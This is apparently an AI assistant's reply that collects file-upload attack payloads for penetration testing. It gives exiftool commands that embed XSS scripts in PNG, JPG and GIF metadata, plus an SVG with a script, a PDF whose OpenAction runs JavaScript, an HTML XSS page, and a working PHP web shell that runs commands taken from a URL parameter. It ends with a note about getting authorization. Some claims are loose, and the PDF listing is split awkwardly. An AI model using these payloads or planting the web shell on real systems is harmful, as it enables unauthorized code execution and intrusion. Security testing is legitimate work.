SVG XSS Test

Certainly! Here are some examples of payloads for different file formats like PNG and JPG, crafted to test for potential vulnerabilities in file upload functionalities. These payloads are designed to test for issues such as XSS, remote code execution (RCE), and other security flaws.

1. PNG with Embedded Script

While PNG files do not support embedding scripts directly, you can attempt to include a payload that might be interpreted by a vulnerable image processing library.

PNG XSS Payload

Use a tool like `` `exiftool` `` to embed JavaScript in the metadata of a PNG file:

```sh
exiftool -Comment='<script>alert("XSS")</script>' image.png
```

2. JPG with Embedded Script

Similar to PNG, JPG files can have metadata fields that may be interpreted in unexpected ways by vulnerable systems.

JPG XSS Payload

```sh
exiftool -Comment='<script>alert("XSS")</script>' image.jpg
```

3. GIF with Embedded Script

GIF files can include JavaScript in their metadata.

GIF XSS Payload

```sh
exiftool -Comment='<script>alert("XSS")</script>' image.gif
```

4. SVG with Embedded Script

As discussed previously, SVG files can contain embedded scripts directly.

SVG XSS Payload

```xml
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script><![CDATA[
    alert('XSS');
  ]]></script>
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
</svg>
```

5. PDF with Embedded JavaScript

PDF files can contain JavaScript that might execute in a vulnerable PDF reader.

PDF XSS Payload

Create a PDF with embedded JavaScript using a tool like `` `pdf.js` `` or a similar library:

```js
%PDF-1.4
1 0 obj
<<
/Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 4 0 R
>>
endobj
2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj
3 0 obj
<<
/Type /Pages
/Kids [5 0 R]
/Count 1
>>
endobj
4 0 obj
<<
/Type /Action
/S /JavaScript
/JS (app.alert('XSS');)
>>
endobj
5 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 6 0 R
/Resources <<
/ProcSet 7 0 R
/Font <<
/F1 8 0 R
>>
>>
>>
endobj
```

```
6 0 obj
<<
/Length 44
>>
stream
BT
/F1 24 Tf
100 700 Td
(XSS PDF) Tj
ET
endstream
endobj
7 0 obj [/PDF /Text]
endobj
8 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
>>
endobj
xref
0 9
0000000000 65535 f
0000000018 00000 n
0000000077 00000 n
0000000126 00000 n
0000000227 00000 n
0000000288 00000 n
0000000438 00000 n
0000000482 00000 n
0000000502 00000 n
trailer
<<
/Root 1 0 R
/Size 9
>>
startxref
556
%%EOF
```

6. HTML File with XSS

An HTML file can directly contain scripts that execute when opened.

HTML XSS Payload

```html
<!DOCTYPE html>
<html>
<head>
  <title>XSS Test</title>
</head>
<body>
  <script>alert('XSS');</script>
</body>
</html>
```

7. PHP File for Remote Code Execution (RCE)

A PHP file can contain a payload that, if executed on a server, will run arbitrary code.

PHP RCE Payload

```
php


  <?php
  echo 'RCE Test';
  system($_GET['cmd']);
  ?>
```

8. TXT File with Suspicious Content

A plain text file might not execute scripts but can be used to test how the application handles file uploads.

TXT Payload

```
txt


  <script>alert('XSS');</script>
  <?php system($_GET['cmd']); ?>
```

Important Note

Using these payloads should always be done with explicit permission from the owner of the system you're testing. Unauthorized testing can be illegal and unethical. Always follow legal and ethical guidelines when conducting security testing.